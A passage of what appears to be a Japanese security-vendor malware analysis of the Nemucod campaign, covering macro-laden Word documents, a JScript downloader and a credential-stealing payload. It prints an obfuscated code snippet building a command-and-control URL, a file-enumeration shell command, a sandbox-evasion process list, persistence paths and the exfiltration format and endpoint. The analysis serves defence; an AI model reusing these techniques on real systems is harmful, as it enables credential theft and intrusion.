![図 17: 11 月 30 日以降のバージョンが 24 ページの空白コンテンツを表示しているところ](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_12.png) 図 17: 11 月 30 日以降のバージョンが 24 ページの空白コンテンツを表示しているところ ![図 18: 隠された悪意のあるコードを表示したところ](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_13.png) 図 18: 隠された悪意のあるコードを表示したところ

JSE コードを VBA 内から文書のテキストに移動するという変更を行った理由はいろいろ考えられますが、その理由の一つは攻撃者にとって簡便だっ

たからでしょう。つまり、カスタムメイドの暗号コードを難読化に使用するのをやめて Microsoft 社の Script Encoder に切り替えることで管理対象のコードを減らしたのと同様の理由です。このほか、ヒューリスティック（経験則によるテスト）を行って疑わしいファイルを検出するアンチウイルス スキャナやツールを回避するのが目的だったとも考えられます。というのは長さ 24 ページのコンテンツに小さな VBA コードがあるだけの文書は、長さが 1 ページしかないのに数百行の VBA コードを含む空白の文書に比べ、疑わしいと判断されにくいからです。

またこれはソーシャル エンジニアリングのテクニックのひとつとも考えられるでしょう。文書にはコンテンツがあるのに見えていないと信じさせることができれば、\[コンテンツの有効化\] ボタンを押してしまう被害者をそれだけ増やすことができるかもしれないからです。もちろん、このボタンをクリックしてすると、中身が見えるようになるかわりに VBA コードが実行されてしまいます。

### **継続は力なり**

図 5 のタイムラインにそって 12 月まで見ていくと、12 月半ば頃にあるバージョンが登場します。このバージョンでは、Office アプリケーションの アクセス許可を利用して権限のない変更を防止しています。たとえば文書部分を読み取り専用に設定し、文書内のテキストのフォント色変更も禁止しています。ただし、こうした文書の許可設定は DLP (Data Loss Prevention) の機能には適用されないので、文書のテキスト コンテンツを選択して別のアプリケーションにコピー \& ペーストすれば悪意のあるコードを取得することはできてしまいます。図 19 は、 12 月 18 日のバージョンから加わった許可設定の変更より前 (左) と後 (右) のバージョンにおける文書プロパティの差分を表しています。12 月 18 日以降にリリースされたバージョンは 20 以上ありますが、そのうち数ファイルについては、特に明らかな理由なく許可設定が追加されていません (例えば作成者が変わった、メジャーバージョンのコード リリースがあった、週の特定の日、など)。ただしこれら以外のファイルの許可設定の一貫性を考えるとこれは単純な人的ミスだったか、攻撃者がリリースのプロセスで許可設定の確認をしそこねたのかもしれません。
![図 19: 初期バージョンでは Word 文書の許可設定がない (左) がより最近のバージョンでは許可設定が追加されている (右)](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/fig19.png) 図 19: 初期バージョンでは Word 文書の許可設定がない (左) がより最近のバージョンでは許可設定が追加されている (右)

クリスマスから新年にかけての週は、多くの人がホリデーシーズンの浮かれ騒ぎで仕事のペースも全世界的に滞りがちなので、攻撃者から見れば酔っ払って人事不省に陥った被害者をフィッシング メールで騙すのにうってつけの時期であるといえます。12 月 28 日の水曜日には新しいバージョンが作成されており、このバージョンではマルウェアのソーシャル エンジニアリング機能が増強されています。

図 20 は、文書がより新しいバージョンの Word で作成されているため閲覧するには受信者が \[コンテンツの有効化\] ボタンをクリックする必要があるという偽のメッセージを表示している様子を示しています。ホリデーシーズンは脇においても、攻撃者はこうした戦略によって被害者層の拡大を図っていたようです。
![図 20: ソーシャル エンジニアリングを活用し、被害者が悪意のあるマクロ コードを実行するよう仕向ける](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_16.png) 図 20: ソーシャル エンジニアリングを活用し、被害者が悪意のあるマクロ コードを実行するよう仕向ける

2017年初頭以降は VBA の GUI フォームの要素を含むバージョンも確認されました (図 21 参照)。現時点ではこのフォーム、要素、スケルトン コードは舞台裏に隠されていており、特に何もしません。おそらくこれもまたマクロ コードが無害なものであるように見せかけ、アンチウイルス製品による検出をかわそうとする正当性の演出の一環と推測するしかありません。というのは、被害者とインタラクティブにやりとりすることで無用な疑いを招くことは攻撃者も避けたいので、身代金の支払いを求める以外でマルウェアに GUI が使用されることはめったにないためです。本ダウンローダーにおいても、ペイロード部分にそうしたランサムウェアを利用していた痕跡は今のところ確認されていませんし、ダウンローダー内のフォームは、典型的なランサムウェアの GUI に似た部分がありません。
![図 21: GUI 要素が含まれる最近のバージョンのVBA フォーム](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_17.png) 図 21: GUI 要素が含まれる最近のバージョンのVBA フォーム

VBA フォームに GUI 要素を含む最初のバージョンのおよそ 1 週間後、別のバージョンが登場しました。このバージョンでは、薄い灰色で文書のテ

キストにエンコードされた JScript コードを表示しています(図 22 参照)。おそらくこれも、被害者に \[コンテンツを有効にする\] ボタンを押させるためのテクニックでしょう。つまり、\[コンテンツを有効にする\] をクリックすれば、灰色の文字がデフォルトの黒で表示されるようになるとか、文字化けのように見える内容が正常に戻ると思いこませることを狙っているのです。
![図 22: 灰色の色あせたようなフォント プロパティが設定されている](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_18.png) 図 22: 灰色の色あせたようなフォント プロパティが設定されている

図 5 の攻撃タイムラインも終わりに近づく 2017 年の 1 月の中頃にはまた新しいバージョンが登場します。新しいバージョンのものの中には VBA コードで Word の**AutoClose** マクロ関数を使い、以前のすべてのバージョンで使われていた**AutoOpen**を使わないものが現れました。この変更による技術的効果は明らかですが、被害者に疑いを抱かれにくくする、または疑いを抱かれるのを遅らせるというソーシャル エンジニアリングの観点から見た効果はさほど明確ではないかもしれません。

大抵、このような兵器化された文書を開いた場合や、\[コンテンツの有効化\] をクリックしてコンテンツを有効化した場合、CPU 使用率が跳ね上がる、身代金要求のメッセージが表示される、ネットワーク接続が行われるなど、その効果はただちに現れます。どんな災難が降りかかりつつあるのかははっきりわからなくとも、ハードディスクの出すノイズや CPU ファンの回る音によって何か異常が発生していると被害者が気づいてしまうことはよくあるのです。

しかし AutoClose を使う方法なら、文書を開いた時点や、\[コンテンツを有効化する\] ボタンをクリックした時点ではまだ安全であり、あからさまな感染の兆候もないので万事順調に思えます。ところが文書を閉じる、または Word アプリケーションを終了するタイミングで感染ルーチンが起動されるため、この時点では何も起こらなかったとホッとしているかもしれません。しかしそれも長くは続きません。

図 5 のタイムライン に記載されている中で説明が必要な部分としては、このほかに OS のバージョン、コード ページ、作成者が挙げられるでしょう。メタデータによれば 2 バージョンを除くすべての兵器化された文書 バージョンの進化途上で Windows 5.1 (Windows XP) OS 上の Word を使って作成されています。Windows 6.1 (Windows 7) がこの残りの 2 バージョンで使われています。ちなみにこの Windows 7 上で作成された 2 バージョンでは、新しい作成者も 2 人追加されています。

作成者名「Till3」は最初のバージョンからおよそ1ヶ月後に登場して 11 月 25 日に作成されたバージョンを作成、その後 3つのバージョンを作成

し、最後のバージョンは作成開始から 13 分ほど後に保存しています。このバージョンは、VBA コード内にスタティックに JSE コードを格納していた「オリジナル」タイプに分類される兵器化文書の最終バージョンのうちの 1 つです。

作成者「Nish」はそれから数バージョンほど後の 12 月 14 日ごろ登場しました。 この作成者はほとんど違うバージョンの作成に貢献していません。またWindows 7 ホスト上で文書の編集をしていた時間もごくわずかでした。

ほかの作成者は、Windows XP システムを使用していました。図 23 を参照すると、ほとんど (半数以上) のバージョンが名無しの作成者に

よって作成されていること、Victor という作成者がほとんど 4 分の 1 のリビジョンを作成していること、残りはあまり差異のない少数ずつ

「John」「Mike」「Martin」と前述の 2 名の作成者「Till3」と「Nish」が作成していました。

面白いのは、Victor という作成者が全バージョンの 4 分の 3 以上にわたり、最終的に保存される内容と、おそらくは編集についてもについてより大きな役割を果たしていることでしょう。おそらくこの Victor がこのグループ内でシニア的な立場にあるか、チーム リーダーのようなものにあたるという可能性がここから読み取れます。  
![図 23: 作成者名 (左) と最後に保存した作成者の名前 (右)](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/23.png) 図 23: 作成者名 (左) と最後に保存した作成者の名前 (右)

これまでに収集された兵器化された文書のすべてのバージョンにはすべて[コード ページ 1251](https://msdn.microsoft.com/en-us/library/cc195053.aspx)が使われています。このコード ページはロシア語、ブルガリア語、セルビア語を始めとするキリル文字を使用する言語をカバーするよう設計されているものです。

図 24 が示すとおり、12 月は彼ら攻撃者にとってもっとも忙しい月でした。30 近いバージョン、つまりほぼ 1 日 1 バージョンをリリースしています。なぜ月ごとのリリースのペースが変化するのかについてはっきりしたことは分かりませんが、少なくともマルウェアの機能や配布のしくみを忙しく改変し続けていたがために以前よりリリースのペースが上がっていたとは考えられます。先に述べたとおり、また OilRig の攻撃者たちが自身のマルウェアができるかぎり検知されないこと、いちからツールを作り直さなくても複数の攻撃の実行ができることを目指して取り入れていた開発検証手法を説明している[こちらの最近のブログ](https://blog.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/)（英語）にも述べたとおり、Nemucod キャンペーンにおける攻撃者たちも、機能追加する際の開発プロセスを極めて迅速化し、難読化そのほかの手法で検知率を最低限に抑え、ソーシャル エンジニアリングのテクニックを磨いてさらなる被害者を呼び込む、という努力を重ねていることがうかがい知れます。  
![図 24: 月ごとのバージョン数](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/87205/24.png) 図 24: 月ごとのバージョン数

#### **JSE のペイロード**

兵器化された文書のマクロ コードが実行されると、エンコードされ、高度に難読化された JScript コードがディスク上に保存され、新たに実行されます。観測されている最初の動作には、偽のエラーメッセージボックスを表示するものもありました。（例：図 25）

メッセージのテキストにはいくつか種類がありますが、いずれも一見正当なコンテンツが実行に失敗したことを匂わせる点は共通しています。これもまた、被害者に安心感を与えるための手段です。
![図 25: JSE が実行されると偽のエラーメッセージが開く（「ファイルは開けません」）](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_22.png) 図 25: JSE が実行されると偽のエラーメッセージが開く（「ファイルは開けません」）

次の図に示すように大部分のバージョンでは JSE ファイルを Windows のスタートアップ フォルダにコピーします。これにより、システムが再起動する度にコードが実行されることを担保します。  
C:\\Users\\\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\

|-----|------------------------------------------------------------------------------------|
| 1 2 | C:\\Users\\\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ |

JSE コードには数々の難読化ルーチンとテクニックが使用され、分析がしづらいように工夫されています。変数の宣言や文字列などで故意に ASCII 文字文字を同等の Unicode 文字に置き換えるのもその手法のひとつです。難読化解除の過程でこうした文字を ASCII に変換しなおすと、さらに分析を進めるための糸口となる内容が現れます。その一例が変数名「\\u0075\\u0072\\u006c\\u0031\\u0032」です。これは ASCII 文字に変換すると「url12」になります。

あるバージョンではこの変数は次のコードで初期化されており、実行時には URL 文字列「https://185.159.82\[.\]11:3333/P/tipster.php?」にデコードされます。  
{orl\_8:'\\u0068'}.orl\_8+{hich\_5:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.hich\_5+{ud\_6:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ud\_6+{ar\_6:'\\u0070'}.ar\_6+{he\_9:'\\u0073'}.he\_9+{ta\_7:'\\u003a'}.ta\_7+{vr\_4:'\\u002f'}.vr\_4+{hich\_9:'\\u002f'}.hich\_9+{ith\_5:'\\u0031'}.ith\_5+{hy\_8:'\\u0038'}.hy\_8+{ur\_7:'\\u0035'}.ur\_7+{etLi\_8:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.etLi\_8+{ort\_8:'\\u0031'}.ort\_8+{hat\_5:'\\u0035'}.hat\_5+{orms\_4:'\\u0039'}.orms\_4+{ut\_5:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.ut\_5+{heeT\_8:'\\u0038'}.heeT\_8+{es\_5:'\\u0032'}.es\_5+{pea\_4:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.pea\_4+{or\_8:'\\u0031'}.or\_8+{ist\_8:'\\u0031'}.ist\_8+{ut\_9:'\\u003a'}.ut\_9+{pec\_8:'\\u0033'}.pec\_8+{ive\_6:'\\u0033'}.ive\_6+{emo\_8:'\\u0033'}.emo\_8+{xpe\_9:'\\u0033'}.xpe\_9+{ill\_7:'\\u002f'}.ill\_7+{ich\_9:'\\u0050'}.ich\_9+{owrf\_8:'\\u002f'}.owrf\_8+{ave8\_5:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ave8\_5+{ain\_6:(!'8' || \[\]+\[\] || 'i')}.ain\_6+{ec\_7:'\\u0070'}.ec\_7+{ason\_4:'\\u0073'}.ason\_4+{ost\_8:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ost\_8+{in\_5:(!'x' || \[\]+\[\] || 'e')}.in\_5+{our7\_6:(\[\]\[\[\]\] + \[\]).link().toLowerCase().substr(4,1)}.our7\_6+{hi\_6:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.hi\_6+{art\_5:'\\u0070'}.art\_5+{onou\_4:'\\u0068'}.onou\_4+{eeps\_4:'\\u0070'}.eeps\_4+{ark\_7:'\\u003f'}.ark\_7+{mpri\_9:'\\u0061'}.mpri\_9+{he\_9:(!'s' || \[\]+\[\] || 'd')}.he\_9+{et\_8:(!'s' || \[\]+\[\] || 'd')}.et\_8+{ath9\_4:'\\u003d'}.ath9\_4;\[

|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 | {orl\_8:'\\u0068'}.orl\_8+{hich\_5:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.hich\_5+{ud\_6:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ud\_6+{ar\_6:'\\u0070'}.ar\_6+{he\_9:'\\u0073'}.he\_9+{ta\_7:'\\u003a'}.ta\_7+{vr\_4:'\\u002f'}.vr\_4+{hich\_9:'\\u002f'}.hich\_9+{ith\_5:'\\u0031'}.ith\_5+{hy\_8:'\\u0038'}.hy\_8+{ur\_7:'\\u0035'}.ur\_7+{etLi\_8:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.etLi\_8+{ort\_8:'\\u0031'}.ort\_8+{hat\_5:'\\u0035'}.hat\_5+{orms\_4:'\\u0039'}.orms\_4+{ut\_5:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.ut\_5+{heeT\_8:'\\u0038'}.heeT\_8+{es\_5:'\\u0032'}.es\_5+{pea\_4:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.pea\_4+{or\_8:'\\u0031'}.or\_8+{ist\_8:'\\u0031'}.ist\_8+{ut\_9:'\\u003a'}.ut\_9+{pec\_8:'\\u0033'}.pec\_8+{ive\_6:'\\u0033'}.ive\_6+{emo\_8:'\\u0033'}.emo\_8+{xpe\_9:'\\u0033'}.xpe\_9+{ill\_7:'\\u002f'}.ill\_7+{ich\_9:'\\u0050'}.ich\_9+{owrf\_8:'\\u002f'}.owrf\_8+{ave8\_5:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ave8\_5+{ain\_6:(!'8' || \[\]+\[\] || 'i')}.ain\_6+{ec\_7:'\\u0070'}.ec\_7+{ason\_4:'\\u0073'}.ason\_4+{ost\_8:(\[\]\[\[\]\] + \[\]).fixed().toLowerCase().substr(1,1)}.ost\_8+{in\_5:(!'x' || \[\]+\[\] || 'e')}.in\_5+{our7\_6:(\[\]\[\[\]\] + \[\]).link().toLowerCase().substr(4,1)}.our7\_6+{hi\_6:(\[\]\[\[\]\] + \[\]+{ine4\_9:(\[\]\[\[\]\] + \[\]+{on\_5:(\[\]\[\[\]\] + \[\]+'.').split(\[\])\[9\]}.on\_5).split(\[\])\[9\]}.ine4\_9).split(\[\])\[9\]}.hi\_6+{art\_5:'\\u0070'}.art\_5+{onou\_4:'\\u0068'}.onou\_4+{eeps\_4:'\\u0070'}.eeps\_4+{ark\_7:'\\u003f'}.ark\_7+{mpri\_9:'\\u0061'}.mpri\_9+{he\_9:(!'s' || \[\]+\[\] || 'd')}.he\_9+{et\_8:(!'s' || \[\]+\[\] || 'd')}.et\_8+{ath9\_4:'\\u003d'}.ath9\_4;\[ |

以下の例に示した追加パラメータは、後でこの URL に連結されて攻撃者のインフラへの接続する HTTP GET リクエストの構成に使用されます。HTTP GET リクエストで攻撃者のインフラに接続すると、新しい被害者として次に示す uid が一意な ID として割り振られて登録されます。また、どのバージョンのマルウェアに被害者のシステムが感染したのかといったクライアントに関する追加情報も併せて送信されます。これにより攻撃者は、被害者がどの特定バージョンのマルウェアを実行しているのかを把握することができます。通信コードにバージョン識別子を用いるというこのマルウェアの動作は、ここでもやはりソフトウェア開発者がフィールドで使用されているアプリケーションについてフィードバックやテレメトリを受けとりたがるという点によく似ています。

* add=3ef295d92702b904d009ba73e42a69c2
* uid=1442894259
* out=0
* ver=20

JSE コードはすべての実行中プロセスの一覧を作成し、次にあげるアプリケーションがこの一覧に含まれているかどうかをチェックし、含まれている場合は自身を終了します。明らかにこのマルウェアは分析を避けたがっている様子です。下記に「Johnson-PC」という項目がありますが、これは分析用のマシン名としてありがちな名前なので、そうしたよく知られたサンドボックス上でマルウェアが実行されるのを避ける意図があるのでしょう。

Procmon  
Wireshark  
Temp\\iexplore.exe  
ProcessHacker  
vmtools  
VBoxService  
python  
ImmunityDebugger  
Johnson-PC  
Proxifier.exe

このマルウェアは、次にコマンドシェルを密かに実行し、ファイル一覧とそれらファイルへのフルパスを取得し、取得したファイルの拡張子が以下の一覧に合致するかどうかを確認するコマンドを実行します。この一覧の結果はテキストファイルにリダイレクトされますが、最近のバージョンの少なくとも 1 つにおいてはこのファイル名に pollos.txt という名前が使われています。これもまた『ブレイキング・バッド』からの引用です。  
cmd /U /Q /C cd /D DriveLetter: \&amp;\&amp; dir /b/s/x \&gt;\&gt; %temp%\\\\pollos.txt : \*.doc \*.xls \*.pub \*.odt \*.ods \*.odp \*.odm \*.odc \*.odb \*.wps \*.xlk \*.ppt \*.mdb \*.accdb \*.pst \*.dwg \*.dxf \*.dxg \*.wpd \*.rtf \*.wb2 \*.mdf \*.dbf \*.psd \*.pdd \*.eps \*.ai \*.indd \*.cdr \*.dng \*.3fr \*.arw \*.srf \*.sr2 \*.bay \*.crw \*.cr2 \*.dcr \*.kdc \*.erf \*.mef \*.mrw \*.nef \*.nrw \*.orf \*.raf \*.raw \*.rwl \*.rw2 \*.r3d \*.ptx \*.pef \*.srw \*.x3f \*.der \*.txt \*.pdf

|----------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 | cmd /U /Q /C cd /D DriveLetter: \&amp;\&amp; dir /b/s/x \&gt;\&gt; %temp%\\\\pollos.txt : \*.doc \*.xls \*.pub \*.odt \*.ods \*.odp \*.odm \*.odc \*.odb \*.wps \*.xlk \*.ppt \*.mdb \*.accdb \*.pst \*.dwg \*.dxf \*.dxg \*.wpd \*.rtf \*.wb2 \*.mdf \*.dbf \*.psd \*.pdd \*.eps \*.ai \*.indd \*.cdr \*.dng \*.3fr \*.arw \*.srf \*.sr2 \*.bay \*.crw \*.cr2 \*.dcr \*.kdc \*.erf \*.mef \*.mrw \*.nef \*.nrw \*.orf \*.raf \*.raw \*.rwl \*.rw2 \*.r3d \*.ptx \*.pef \*.srw \*.x3f \*.der \*.txt \*.pdf |

前述したリモート ホストの IP アドレスへの通信中、JSE は別の PE (Portable Executable) ファイルをダウンロードすることがあります。またそのペイロード部分はそれぞれに異なっている可能性があります。この特定バージョンの特定の回では、Base64 でエンコードされ UPX でパックされたPE ファイル (SHA256 値:76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39) をダウンロードし、さらにまた別の PE コンポーネント (SHA256 値:53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e) をメモリにインジェクトして、認証情報の収集とその流出 (次項で説明) という役割に当たらせていました。その目的や動機によって、このマルウェアを別のものに差し替わる可能性もあります。たとえば、ポーランドの CERT チームは年初にある++ブログ++（英語）を投稿し、そこで本マルウェアに関連するマルウェアが最終的にランサムウェアにつながると説明していますが、これまでの調査ではいまのところ、そうした動作はまだ確認されていません。

### **認証情報の収集**

Nemucod によってインストールされるペイロード ファイルの 1 つをさらに分析した結果、このマルウェアがどの程度の認証情報窃取機能を持っているのかが明らかになりました。ペイロードには様々な OS とアプリケーションの認証ストアを列挙し、できるだけ多くの認証情報を収集しようとしています。

#### **Protected Storage (Pstore)**

実行されているシステムがたとえば Windows XP などの旧 OS だと判断すると、本マルウェアは pstorec.dll ライブラリをロードして旧 Windows データストアである Pstore にアクセスしようとします。これが成功すれば、ポインタを Pstore に移動できるよう PStoreCreateInstance 関数が呼び出されます。これにより、次の図 26 に示すように、格納されているすべての認証情報を一覧・取得できる関数群が呼び出せるようになります。
![図26: 旧 Windows の Pstore にアクセスするペイロードのコード](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_23.png) 図26: 旧 Windows の Pstore にアクセスするペイロードのコード

### **認証情報のキャッシュ**

本マルウェアは次に認証情報のキャッシュをチェックします。認証情報のキャッシュはより新しいバージョンの Windows で使用されているもので、Windows Internet Explorer 内のすべてのビルトインアプリケーションに対して自動的に認証情報の格納や使用ができるようにしています。 HTTP のベーシック認証パスワードを利用する認証情報のほか、ネットワークのログインパスワードもここに格納することができます。次の図 27

に示すように、本マルウェアは「Microsoft\_WinInet\_\*」で始まるパスワードのみを検索するようフィルタリングすることで Internet Explorer に格納されている後者の認証情報だけをとくに検索しています。
![図 27: Internet Explorer に格納された認証情報にアクセスするペイロードのコード](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_24.png) 図 27: Internet Explorer に格納された認証情報にアクセスするペイロードのコード

図 27 には 128 ビット値の GUID (Globally Unique Identifier) である「abe2869f-9b47-4cd9-a358-c22904dba7f7」が表示されています。本マルウェアは格納された認証情報の取得後の暗号化・復号化にこの GUID と Windows に組み込みの Cryptography 機能を併せて使っています。

#### **Windows Vault**

ブラウザそのほかのアプリケーションからデータを収集する前に攻撃者は最後にもう一箇所認証情報の格納場所をチェックします。Microsoft の「Windows Vault」と呼ばれる、組み込みの Credential Manager の一部です。被害者の OS が 6.2 (Windows 8 または Windows Server 2012) であることがわかった場合、本マルウェアは Vault Client Access Library (vaultcli.dll) をロードして格納されている認証情報にアクセスします。

#### **ブラウザ**

攻撃者は次に Firefox、Chrome、Opera などの web ブラウザに注目します。Internet Explorer についてはすべてにこれまでの手順でカバーされています。マルウェアは様々な Windows のレジストリキーを一覧し、まずこれらのブラウザのインストール先フォルダのパスを集めてからそこに格納されている認証情報を収集します。

Chrome を例に取ると、本マルウェアは、Chrome が作成し、さまざまな情報を格納するのに使っている sqlite データベース ファイルの場所を特定します。攻撃者が標的にするこうした sqlite ファイルの 1 つが「Web Data」という名前のファイルです。このファイルにはログインや住所などの HTML フォームに自動で入力されるオートフィル用の情報が格納されています。sqlite コマンドの「.tables」は次に示すようにテーブル名の一覧を作成します。  
sqlite\&gt; .tables autofill credit\_cards server\_addresses autofill\_profile\_emails ie7\_logins server\_card\_metadata autofill\_profile\_names keywords token\_service autofill\_profile\_phones masked\_credit\_cards unmasked\_credit\_cards autofill\_profiles meta autofill\_profiles\_trash server\_address\_metadata

|---------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 | sqlite\&gt; .tables autofill credit\_cards server\_addresses autofill\_profile\_emails ie7\_logins server\_card\_metadata autofill\_profile\_names keywords token\_service autofill\_profile\_phones masked\_credit\_cards unmasked\_credit\_cards autofill\_profiles meta autofill\_profiles\_trash server\_address\_metadata |

この検証用システムの「Web Data」データベースの「autofill」テーブルに格納されたデータを確認してみると、以前 HTML フォームの自動入力に使った偽名と偽の電話番号に関連した詳細を確認することができます。  
sqlite\&gt; select \* from autofill; FirstName|Bob|bob|n|n|1 LastName|REDACTED|REDACTED|n|n|1 deviceAddress|REDACTED|REDACTED|n|n|1

|---------|----------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 | sqlite\&gt; select \* from autofill; FirstName|Bob|bob|n|n|1 LastName|REDACTED|REDACTED|n|n|1 deviceAddress|REDACTED|REDACTED|n|n|1 |

このほか、本マルウェアは「Login Data」名前のデータベースにもアクセスします。このデータベースには「logins」という名前のテーブルがあり、このテーブルには次の例に示すように Google アカウント サービスにログインを表示してメールやカレンダーなどにアクセスするための情報が格納されています。

#### **電子メール クライアント**

次に注目するのが被害者のシステムにインストールされた電子メールクライアントからの認証情報収集です。Outlook や Outlook Express がまず検索されます。マルウェアはレジストリ キー「HKEY\_CURRENT\_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts」をチェックしてシステムにインストールされている電子メール クライアントやWindows のアドレス帳に関するデータを探し、次の図 28 に示すように SMTP、POP3、IMAP プロトコル用のすべての「Server」「User」および「Password」の値の一覧を作成してそれぞれのデータを集めます。
![図28: 電子メール クライアントのアカウント認証情報が格納されている Windows レジストリ](http://blog.paloaltonetworks.com/wp-content/uploads/2017/05/Nemucod_25.png) 図28: 電子メール クライアントのアカウント認証情報が格納されている Windows レジストリ

本マルウェアは続いてほかにインストールされている電子メール クライアントについてもチェックしてさらに認証情報を収集しようとします。この対象にはMozilla Thunderbird やRITLabs の TheBat!、Windows Mail や Windows Live Mail も含まれます。

ちなみに、電子メール クライアント TheBat! はモルドバ共和国の首都キシナウを本拠地とするソフトウェア会社、RITLabs が作成したものです。

この事実は興味深いものです。というのも、攻撃者グループによって利用されているインフラの一部 (後に詳述) もこのモルドバに存在または登記されているからです。

本マルウェアは SSH (Secure Shell)、FTP (File Transfer Protocol)、および HTTP など、リモート接続してシステム管理し、システム間でファイルを転送するために利用されることの多いプロトコルで通信を行うソフトウェア アプリケーションがシステム上にあるかどうかをチェックします。この目的は、そうしたソフトウェア アプリケーション内に格納されている認証情報、ホスト名、IP アドレスなどがあればそれらも併せて収集することにあります。こうした種類のアプリケーションに格納されている認証情報は、不正アクセスに成功したネットワーク内での偵察行為を継続したり別の攻撃を達成したりするなど、さらなる展開を狙う攻撃者には非常に便利なものです。

対象とされたアプリケーションには、SSH 経由でファイルのコピーを行う WinSCP (Windows Secure Copy) や、Ghilser 社の Total

Commander、FileZilla、FlashFXP、Cyberduck、CoffeeCup Software、CuteFTP、SmartFTP などがあります。これらはすべて FTP 機能を含むアプリケーションです。

### **流出**

マルウェアが見つけた認証情報はすべて被害者の一時フォルダ内のテキストファイルに格納され流出の準備が行われます。このバージョンの例では、このテキストファイルに次の名前が付けられていました。

%TEMP%\\goga.txt

このテキスト ファイルのフォーマットは次に示すとおりで、以前被害者を識別して登録するのに使われた一意の識別子 (UID) が日時とともに含まれており、攻撃者はこの情報にもとづいてデータを仕分けることができます。UID と日時情報の後には、マルウェアの実行中に収集された認証情報が続きます。認証情報には、プロトコル、必要なポート番号、ユーザー名、パスワード、ホスト名が記載されます。

TEST-UID

YYYY-MM-DD HH:MM:SS

ftp://username:password@ftp.somedomain.com:21

https://username:password@accounts.somedomain.com/

本マルウェアはその最終段階で収集したすべての情報を攻撃者に引き渡します。この通信には HTTP POST リクエストが使用されます。次のような文字列を HTTP ヘッダの User-Agent フィールドに設定することにより Windows 7 オペレーティング システムと FireFox ブラウザに見せかけたHTTP POST リクエストが発行されます。

Mozilla/5.0 (Windows NT 6.1; rv:45.0)

本マルウェアは Wininet.dll ライブラリから InternetOpenA、InternetConnectA、HttpOpenRequest 関数を呼び出して HTTP POST リクエストを準備し、次の URL に goga.txt のコンテンツを送ります。

http://185.159.82\[.\]11/re/b.php

### **インフラ**

WHOIS の報告では、このバージョンのマルウェアにより感染した被害システムの登録、窃取された認証情報の流出の両方に使用されている IP アドレスは以下のようなものとなっています。

* The IP belongs to a Russian-owned hosting service, King Servers
* The IP resolves to domain customer.clientshostname.com

